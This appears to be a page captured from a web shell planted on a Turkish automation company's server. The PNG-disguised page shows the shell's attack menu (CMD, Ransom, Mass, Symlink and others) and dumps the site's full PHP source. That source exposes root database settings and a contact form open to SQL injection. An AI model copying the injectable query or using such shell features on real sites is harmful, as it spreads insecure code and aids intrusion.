\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/sonmezotomasyon.com/sonmezz/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/sonmezotomasyon.com/sonmezz/index.php |
<?php
session_start();
header('Content-Type: text/html; charset=utf-8');
$db_host = 'localhost';
$db_user = 'root';
$db_pass = '';
$db_name = 'sonmez_otomasyonn';
$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error)
die("Veritabanı hatası");
$conn->set_charset("utf8");
$settings = $conn->query("SELECT * FROM settings WHERE id=1")->fetch_assoc();
$services = $conn->query("SELECT * FROM services ORDER BY order_by ASC")->fetch_all(MYSQLI_ASSOC);
$projects = $conn->query("SELECT * FROM projects ORDER BY order_by ASC")->fetch_all(MYSQLI_ASSOC);
$testimonials = $conn->query("SELECT * FROM testimonials ORDER BY order_by ASC")->fetch_all(MYSQLI_ASSOC);
$stats = $conn->query("SELECT * FROM stats ORDER BY order_by ASC")->fetch_all(MYSQLI_ASSOC);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['contact_form'])) {
$name = strip_tags($_POST['name'] ?? '');
$phone = strip_tags($_POST['phone'] ?? '');
$email = strip_tags($_POST['email'] ?? '');
$message = strip_tags($_POST['message'] ?? '');
$service = strip_tags($_POST['service'] ?? '');
if ($name && $phone) {
$conn->query("INSERT INTO contact_messages (name, phone, email, message, service)
VALUES ('$name', '$phone', '$email', '$message', '$service')");
$form_message = "Teşekkürler! Talebiniz alındı. En kısa sürede sizinle iletişime geçeceğiz.";
}
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo htmlspecialchars($settings['site_title'] ?? 'Sönmez Otomasyon'); ?></title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
:root {
--primary-red: #dc2626;
--secondary-red: #b91c1c;
--dark-red: #991b1b;
--light-red: #fecaca;
--gray-dark: #1f2937;
--gray-medium: #374151;
--gray-light: #9ca3af;
--white: #ffffff;
--off-white: #f9fafb;
}
body {
font-family: 'Inter', 'Segoe UI', sans-serif;
line-height: 1.6;
color: var(--gray-dark);
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
header {
background: linear-gradient(135deg, var(--dark-red) 0%, var(--primary-red) 100%);
color: var(--white);
padding: 1rem 0;
position: fixed;
width: 100%;
top: 0;
z-index: 1000;
box-shadow: 0 4px 20px rgba(220, 38, 38, 0.2);
}
nav {
display: flex;
justify-content: space-between;
align-items: center;
}
.logo {
font-size: 1.5rem;
font-weight: 700;
}
.nav-menu {
display: flex;
list-style: none;
gap: 2rem;
}
.nav-menu a {
color: var(--white);
text-decoration: none;
font-weight: 500;
transition: opacity 0.3s;
}
.nav-menu a:hover {
opacity: 0.8;
}
.hero {
background: linear-gradient(135deg, var(--gray-dark) 0%, var(--primary-red) 100%);
min-height: 100vh;
display: flex;
align-items: center;
color: var(--white);
margin-top: 60px;
}
.hero-content h1 {
font-size: 4rem;
margin-bottom: 1rem;
line-height: 1.1;
}
.hero-content p {
font-size: 1.25rem;
margin-bottom: 2rem;
color: #d1d5db;
}
.cta-buttons {
display: flex;
gap: 1rem;
flex-wrap: wrap;
}
.cta-button {
padding: 12px 30px;
border-radius: 8px;
font-weight: 600;
text-decoration: none;
border: 2px solid transparent;
cursor: pointer;
transition: all 0.3s;
}
.cta-primary {
background: var(--white);
color: var(--primary-red);
}
.cta-secondary {
border-color: var(--white);
color: var(--white);
background: transparent;
}
.cta-button:hover {
transform: translateY(-2px);
}
section {
padding: 100px 0;
}
.section-header {
text-align: center;
margin-bottom: 60px;
}
.section-title {
font-size: 2.5rem;
margin-bottom: 1rem;
color: var(--gray-dark);
}
.section-subtitle {
font-size: 1.1rem;
color: var(--gray-light);
max-width: 600px;
margin: 0 auto;
}
select {
width: 100%;
padding: 10px;
border: none;
border-radius: 6px;
font-size: 1rem;
font-family: inherit;
}
.about {
background: var(--white);
}
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 30px;
margin-top: 40px;
}
.stat-card {
background: linear-gradient(135deg, var(--primary-red), var(--secondary-red));
color: var(--white);
padding: 30px;
border-radius: 12px;
text-align: center;
}
.stat-number {
font-size: 2.5rem;
font-weight: 800;
display: block;
margin-bottom: 10px;
}
.services {
background: #f9fafb;
}
.services-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 30px;
}
.service-card {
background: var(--white);
padding: 30px;
border-radius: 12px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);
transition: transform 0.3s;
border-top: 4px solid var(--primary-red);
}
.service-card:hover {
transform: translateY(-10px);
}
.service-icon {
font-size: 2.5rem;
margin-bottom: 15px;
}
.service-card h3 {
font-size: 1.5rem;
margin-bottom: 15px;
color: var(--gray-dark);
}
.gallery {
background: var(--white);
}
.gallery-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 25px;
}
.gallery-item {
background: linear-gradient(135deg, var(--primary-red), var(--secondary-red));
border-radius: 12px;
color: var(--white);
min-height: 300px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center;
cursor: pointer;
transition: transform 0.3s;
position: relative;
overflow: hidden;
}
.gallery-item::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(31, 41, 55, 0.75);
z-index: 1;
transition: opacity 0.3s;
}
.gallery-overlay {
position: relative;
z-index: 2;
padding: 30px;
}
.gallery-item:hover {
transform: translateY(-8px);
}
.gallery-item:hover::before {
opacity: 0.5;
}
.gallery-item h4 {
font-size: 1.3rem;
margin-bottom: 10px;
}
.testimonials {
background: linear-gradient(135deg, var(--gray-dark), var(--gray-medium));
color: var(--white);
}
.testimonial-slider {
max-width: 800px;
margin: 0 auto;
text-align: center;
position: relative;
}
.testimonial-item {
display: none;
padding: 40px;
}
.testimonial-item.active {
display: block;
animation: fadeIn 0.5s ease-in;
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.testimonial-text {
font-size: 1.3rem;
margin-bottom: 30px;
font-style: italic;
}
.testimonial-author {
font-weight: 700;
font-size: 1.1rem;
}
.testimonial-role {
color: #d1d5db;
margin-top: 8px;
}
.testimonial-nav {
display: flex;
justify-content: center;
gap: 12px;
margin-top: 30px;
}
.testimonial-dot {
width: 12px;
height: 12px;
border-radius: 50%;
background: rgba(255, 255, 255, 0.3);
cursor: pointer;
transition: all 0.3s;
}
.testimonial-dot.active {
background: var(--primary-red);
transform: scale(1.2);
}
.contact {
background: linear-gradient(135deg, var(--primary-red), var(--secondary-red));
color: var(--white);
}
.contact-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 50px;
margin-top: 60px;
}
.contact-info {
display: flex;
flex-direction: column;
gap: 20px;
}
.contact-item {
padding: 15px;
background: rgba(255, 255, 255, 0.1);
border-radius: 8px;
}
.contact-form {
background: rgba(255, 255, 255, 0.1);
padding: 30px;
border-radius: 12px;
}
.form-group {
margin-bottom: 15px;
}
.form-group label {
display: block;
margin-bottom: 5px;
font-weight: 600;
}
.form-group input,
.form-group textarea,
.form-group select {
width: 100%;
padding: 10px;
border: none;
border-radius: 6px;
font-size: 1rem;
font-family: inherit;
}
.form-group textarea {
min-height: 100px;
resize: vertical;
}
.submit-btn {
background: var(--white);
color: var(--primary-red);
width: 100%;
padding: 12px;
border: none;
border-radius: 6px;
font-weight: 600;
cursor: pointer;
transition: transform 0.3s;
}
.submit-btn:hover {
transform: translateY(-2px);
}
footer {
background: var(--gray-dark);
color: var(--white);
padding: 50px 0 20px;
}
.footer-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 40px;
margin-bottom: 40px;
}
.footer-section h3 {
margin-bottom: 15px;
color: var(--primary-red);
}
.footer-section p,
.footer-section a {
color: #d1d5db;
text-decoration: none;
margin-bottom: 10px;
display: block;
}
.footer-section a:hover {
color: var(--primary-red);
}
.footer-bottom {
text-align: center;
padding-top: 20px;
border-top: 1px solid var(--gray-medium);
color: var(--gray-light);
}
.success-message {
background: #dcfce7;
color: #166534;
padding: 15px;
border-radius: 8px;
margin-bottom: 20px;
border-left: 4px solid #22c55e;
}
@media (max-width: 768px) {
.hero-content h1 {
font-size: 2rem;
}
.nav-menu {
gap: 1rem;
font-size: 0.9rem;
}
.contact-grid {
grid-template-columns: 1fr;
}
.stats-grid {
grid-template-columns: repeat(2, 1fr);
}
section {
padding: 60px 0;
}
.form-row {
grid-template-columns: 1fr;
}
}
/* Mobil Menu */
.mobile-toggle {
display: none;
background: none;
border: none;
color: white;
font-size: 1.5rem;
cursor: pointer;
}
@media (max-width: 768px) {
.nav-menu {
display: none;
position: absolute;
top: 60px;
left: 0;
right: 0;
background: #991b1b;
flex-direction: column;
padding: 20px;
gap: 10px;
}
.nav-menu.active {
display: flex;
}
.mobile-toggle {
display: block;
}
nav {
flex-wrap: wrap;
}
.logo {
font-size: 1.2rem;
}
.hero-content h1 {
font-size: 2rem;
}
.hero-content p {
font-size: 1rem;
}
.cta-buttons {
flex-direction: column;
}
.cta-button {
width: 100%;
text-align: center;
}
.contact-grid {
grid-template-columns: 1fr;
}
.services-grid {
grid-template-columns: 1fr;
}
.gallery-grid {
grid-template-columns: 1fr;
}
.stats-grid {
grid-template-columns: repeat(2, 1fr);
}
section {
padding: 60px 0;
}
.section-title {
font-size: 1.8rem;
}
.table {
font-size: 0.9rem;
overflow-x: auto;
}
}
@media (max-width: 480px) {
.logo {
font-size: 1rem;
}
.hero-content h1 {
font-size: 1.5rem;
}
.section-title {
font-size: 1.5rem;
}
.stats-grid {
grid-template-columns: 1fr;
}
.footer-grid {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<header>
<nav class="container">
<div class="logo"><?php echo htmlspecialchars($settings['company_name'] ?? 'Sönmez Otomasyon'); ?></div>
<button class="mobile-toggle" id="mobileToggle">☰</button>
<ul class="nav-menu" id="navMenu">
<li><a href="#ana-sayfa">Ana Sayfa</a></li>
<li><a href="#hizmetler">Hizmetler</a></li>
<li><a href="#projeler">Projeler</a></li>
<li><a href="#referanslar">Referanslar</a></li>
<li><a href="#iletisim">İletişim</a></li>
</ul>
</nav>
</header>
<section class="hero" id="ana-sayfa">
<div class="container">
<div class="hero-content">
<h1><?php echo htmlspecialchars($settings['company_name'] ?? 'Sönmez Otomasyon'); ?></h1>
<p><?php echo htmlspecialchars(substr($settings['about_text'] ?? '', 0, 150)); ?>...</p>
<div class="cta-buttons">
<a href="#iletisim" class="cta-button cta-primary">İletişim</a>
<a href="#hizmetler" class="cta-button cta-secondary">Hizmetler</a>
</div>
</div>
</div>
</section>
<section class="about">
<div class="container">
<div class="section-header">
<h2 class="section-title">Hakkımızda</h2>
<p class="section-subtitle">Elektrik ve otomasyon sektöründe güvenli ve yenilikçi çözümler</p>
</div>
<div style="margin-bottom: 60px;">
<?php echo nl2br(htmlspecialchars($settings['about_text'] ?? '')); ?>
</div>
<div class="stats-grid">
<?php foreach ($stats as $stat): ?>
<div class="stat-card">
<span class="stat-number"><?php echo htmlspecialchars($stat['number']); ?></span>
<span><?php echo htmlspecialchars($stat['label']); ?></span>
</div>
<?php endforeach; ?>
</div>
</div>
</section>
<section class="services" id="hizmetler">
<div class="container">
<div class="section-header">
<h2 class="section-title">Hizmetler</h2>
<p class="section-subtitle">Kapsamlı elektrik ve otomasyon çözümleri</p>
</div>
<div class="services-grid">
<?php foreach ($services as $service): ?>
<div class="service-card">
<div class="service-icon"><?php echo htmlspecialchars($service['icon']); ?></div>
<h3><?php echo htmlspecialchars($service['title']); ?></h3>
<p><?php echo htmlspecialchars($service['description']); ?></p>
<ul style="list-style: none; font-size: 0.9rem; color: var(--gray-medium); text-align: left;">
<?php foreach (explode("\n", $service['features']) as $feature): ?>
<?php if (trim($feature)): ?>
<li style="margin-bottom: 8px; padding-left: 20px; position: relative;">
<span style="position: absolute; left: 0; color: var(--primary-red);">✓</span>
<?php echo htmlspecialchars(trim($feature)); ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
<?php endforeach; ?>
</div>
</div>
</section>
<section class="gallery" id="projeler">
<div class="container">
<div class="section-header">
<h2 class="section-title">Proje Galerisi</h2>
<p class="section-subtitle">Başarıyla tamamladığımız referans projeler</p>
</div>
<div class="gallery-grid">
<?php foreach ($projects as $project): ?>
<div class="gallery-item"
style="background-image: url('admin/<?php echo htmlspecialchars($project['image'] ?? ''); ?>'); background-size: cover; background-position: center;">
<div class="gallery-overlay">
<h4><?php echo htmlspecialchars($project['title']); ?></h4>
<p><?php echo htmlspecialchars($project['description']); ?></p>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</section>
<section class="testimonials" id="referanslar">
<div class="container">
<div class="section-header">
<h2 class="section-title" style="color: var(--white);">Müşteri Referansları</h2>
<p class="section-subtitle" style="color: rgba(255, 255, 255, 0.8);">Müşterilerimizin deneyimleri</p>
</div>
<div class="testimonial-slider">
<?php $counter = 0;
foreach ($testimonials as $testimonial): ?>
<div class="testimonial-item <?php echo $counter === 0 ? 'active' : ''; ?>">
<div class="testimonial-text">"<?php echo htmlspecialchars($testimonial['text']); ?>"</div>
<div class="testimonial-author"><?php echo htmlspecialchars($testimonial['author']); ?></div>
<div class="testimonial-role"><?php echo htmlspecialchars($testimonial['role']); ?></div>
</div>
<?php $counter++; ?>
<?php endforeach; ?>
<div class="testimonial-nav">
<?php for ($i = 0; $i < count($testimonials); $i++): ?>
<span class="testimonial-dot <?php echo $i === 0 ? 'active' : ''; ?>"
data-slide="<?php echo $i; ?>"></span>
<?php endfor; ?>
</div>
</div>
</div>
</section>
<section class="contact" id="iletisim">
<div class="container">
<div class="section-header">
<h2 class="section-title" style="color: var(--white);">İletişim</h2>
</div>
<div class="contact-grid">
<div class="contact-info">
<?php if ($settings['address']): ?>
<div class="contact-item">
<strong>📍 Adres</strong><br>
<?php echo nl2br(htmlspecialchars($settings['address'])); ?>
</div>
<?php endif; ?>
<?php if ($settings['phone1']): ?>
<div class="contact-item">
<strong>📞 Telefonlar</strong><br>
<?php echo htmlspecialchars($settings['phone1']); ?><br>
<?php if ($settings['phone2']):
echo htmlspecialchars($settings['phone2']);
endif; ?>
</div>
<?php endif; ?>
<?php if ($settings['mobile1']): ?>
<div class="contact-item">
<strong>📱 Mobil</strong><br>
<?php echo htmlspecialchars($settings['mobile1']); ?><br>
<?php if ($settings['mobile2']):
echo htmlspecialchars($settings['mobile2']);
endif; ?>
</div>
<?php endif; ?>
<?php if ($settings['email1']): ?>
<div class="contact-item">
<strong>✉️ E-posta</strong><br>
<a href="mailto:<?php echo htmlspecialchars($settings['email1']); ?>"
style="color: var(--white);">
<?php echo htmlspecialchars($settings['email1']); ?>
</a>
</div>
<?php endif; ?>
</div>
<form class="contact-form" method="POST">
<?php if (isset($form_message)): ?>
<div class="success-message"><?php echo htmlspecialchars($form_message); ?></div>
<?php endif; ?>
<div class="form-group">
<label>Adınız *</label>
<input type="text" name="name" required>
</div>
<div class="form-group">
<label>Telefon *</label>
<input type="tel" name="phone" required>
</div>
<div class="form-group">
<label>E-posta</label>
<input type="email" name="email">
</div>
<div class="form-group">
<label>Hizmet Alanı *</label>
<select name="service" required>
<option value="">Seçiniz...</option>
<option value="elektrik">Elektrik Tesisatı</option>
<option value="otomasyon">Endüstriyel Otomasyon</option>
<option value="akilli-yapi">Akıllı Yapı Sistemleri</option>
<option value="bakim">Bakım ve Teknik Servis</option>
<option value="gunes">Güneş Enerjisi Sistemleri</option>
<option value="enerji">Enerji Yönetimi</option>
<option value="diger">Diğer</option>
</select>
</div>
<div class="form-group">
<label>Mesajınız *</label>
<textarea name="message" required></textarea>
</div>
<input type="hidden" name="contact_form" value="1">
<button type="submit" class="submit-btn">Gönder</button>
</form>
</div>
</div>
</section>
<footer>
<div class="container">
<div class="footer-grid">
<div class="footer-section">
<h3><?php echo htmlspecialchars($settings['company_name'] ?? 'Şirket'); ?></h3>
<p><?php echo htmlspecialchars(substr($settings['about_text'] ?? '', 0, 100)); ?>...</p>
</div>
<div class="footer-section">
<h3>Hizmetler</h3>
<?php foreach ($services as $service): ?>
<a href="#hizmetler"><?php echo htmlspecialchars($service['title']); ?></a>
<?php endforeach; ?>
</div>
<div class="footer-section">
<h3>İletişim</h3>
<?php if ($settings['phone1']): ?>
<p>📞 <?php echo htmlspecialchars($settings['phone1']); ?></p>
<?php endif; ?>
<?php if ($settings['email1']): ?>
<p>✉️ <?php echo htmlspecialchars($settings['email1']); ?></p>
<?php endif; ?>
<?php if ($settings['website']): ?>
<p>🌐 <?php echo htmlspecialchars($settings['website']); ?></p>
<?php endif; ?>
</div>
</div>
<div class="footer-bottom">
<p>© <?php echo date('Y'); ?>
<?php echo htmlspecialchars($settings['company_name'] ?? 'Sönmez Otomasyon'); ?>. Tüm hakları
saklıdır.
</p>
</div>
</div>
</footer>
<script>
const testimonialItems = document.querySelectorAll('.testimonial-item');
const testimonialDots = document.querySelectorAll('.testimonial-dot');
let currentTestimonial = 0;
function showTestimonial(index) {
testimonialItems.forEach(item => item.classList.remove('active'));
testimonialDots.forEach(dot => dot.classList.remove('active'));
testimonialItems[index].classList.add('active');
testimonialDots[index].classList.add('active');
}
testimonialDots.forEach((dot, index) => {
dot.addEventListener('click', () => {
currentTestimonial = index;
showTestimonial(currentTestimonial);
});
});
setInterval(() => {
currentTestimonial = (currentTestimonial + 1) % testimonialItems.length;
showTestimonial(currentTestimonial);
}, 5000);
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
anchor.addEventListener('click', function (e) {
e.preventDefault();
const target = document.querySelector(this.getAttribute('href'));
if (target) {
target.scrollIntoView({
behavior: 'smooth',
block: 'start'
});
}
});
});
const mobileToggle = document.getElementById('mobileToggle');
const navMenu = document.getElementById('navMenu');
mobileToggle.addEventListener('click', () => {
navMenu.classList.toggle('active');
});
// Menü item'a tıklanınca kapat
document.querySelectorAll('.nav-menu a').forEach(link => {
link.addEventListener('click', () => {
navMenu.classList.remove('active');
});
});
</script>
</body>
</html>